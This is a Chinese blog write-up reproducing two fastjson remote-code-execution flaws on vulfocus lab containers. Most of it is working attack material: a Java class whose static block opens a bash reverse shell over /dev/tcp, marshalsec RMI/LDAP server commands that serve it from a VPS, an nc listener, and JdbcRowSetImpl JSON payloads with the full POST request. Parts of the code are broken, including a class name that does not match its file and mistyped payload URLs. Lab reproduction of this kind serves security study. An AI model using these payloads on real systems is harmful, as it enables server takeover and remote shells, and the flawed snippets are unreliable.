复现-fastjson远程命令执行漏洞

fastjson 远程命令执行漏洞
学习过程,大佬勿喷!谢谢!
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
版本
fastjson 1.2.24 CNVD-2017-02833
fastjson 1.2.47 CNVD-2019-22238
利用过程
rmi/ldap http 反弹 shell
思路:
通过rmi或者ldap服务远程加载代码,执行命令,反弹至本机,其中,远程加载代码需要用到http服务。
复现环境

1、靶机环境A:http://vulfocus.fofa.so/启动(名称: vulfocus/fastjson-cnvd_2019_22238:latest)和(vulfocus/fastjson-cnvd_2017_02833:latest)

2、vps服务器B:腾讯云服务器11.*.*.2 (服务器B为rmi服务器,也为http服务器、监听端口接收反弹shell,注意云服务器检查防火墙端口)

3、攻击环境C:本地windows10

准备工作
1、准备rmi/idap服务远程加载class文件
2、编译可执行的class文件
3、本机开启http服务,为rmi/idap服务下载class文件提前做好准备
4、开启监听端口
部署rmi/idap服务
通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class。
1、git clone https://github.com/mbechler/marshalsec #下载marshalsec项目
2、cd marshalsec #进入marshalsec目录
3、mvn clean package -DskipTests 
#通过mvn打包项目(提示:没有安装mvn需要apt安装),这个过程会生成一个targetw文件夹,找到marshalsec-0.0.3-SNAPSHOT-all.jar文件
编译可执行class文件
1、编写java代码Exploit.java文件,内容如下:
import java.lang.Runtime;
import java.lang.Process;
public class Test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.102/7777
0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、编译Exploit.java文件成Exploit.class,操作如下:
 javac Exploit.java

#同目录会生成一个Exploit.class文件.
开启http服务
python2 -m SimpleHTTPServer 8888
开启监听端口
nc -lvvp 7777
开始验证漏洞操作
主机B 开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2:8888/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2此处为HTTP服务/#Exploit" 此处为rmi服务
主机B 开启ldap服务主机。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://11.*.*.2:8888/#Exploit 9999
POC为
名称: vulfocus/fastjson-cnvd_2019_22238:latest,POC如下:
{
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999/Exploit", "autoCommit":true } }
名称:vulfocus/fastjson-cnvd_2017_02833:latest,POC如下:
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999:9999/Exploitt", "autoCommit":true }
抓包分析和验证
修改get请求为post请求
POST / HTTP/1.1
Host: vulfocus.fofa.so:20457
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close
Content-Length: 199
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://11.*。*。2:9999/Exploitt", "autoCommit":true }
操作过程如下截图:
1、开启HTTP服务准备class文件,开启监听端口等待shell,开启rmi服务
2、开启靶场镜像环境
3、抓包,修改get为post,执行poc,等待。。。
4、监听端口接收shell
5、获取flag。收工
(郑重声明:以下内容仅供学习交流,如有用于其他非法操作,与本人无关。)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的引用内容,fastjson反序列化漏洞是一种安全漏洞,攻击者可以利用该漏洞在目标系统上执行恶意代码。下面是fastjson反序列化漏洞复现过程[^1][^2]: 1. 判断是否使用Fastjson以及Fastjson版本:首先需要确定目标系统是否使用了Fastjson,并且确定Fastjson的版本号。可以通过查看项目的依赖文件或者代码中的导入语句来确定。 2. 漏洞复现:根据Fastjson的版本号选择相应的漏洞复现方法。 - Fastjson<1.2.24远程代码执行(CNVD-2017-02833):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中插入恶意的Java代码,并通过反序列化操作执行该代码。 - Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中使用特殊的反射调用方式来执行恶意代码。 3. 防范措施:为了防止fastjson反序列化漏洞的利用,可以采取以下措施: - 及时升级Fastjson版本:Fastjson团队会及时修复漏洞并发布新版本,及时升级到最新版本可以避免被已知漏洞攻击。 - 输入验证和过滤:在接收用户输入并进行反序列化操作之前,对输入进行严格的验证和过滤,确保输入的数据符合预期的格式和内容。 - 使用安全JSON库:考虑使用其他安全性更高的JSON库,如Jackson或Gson,来替代Fastjson

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值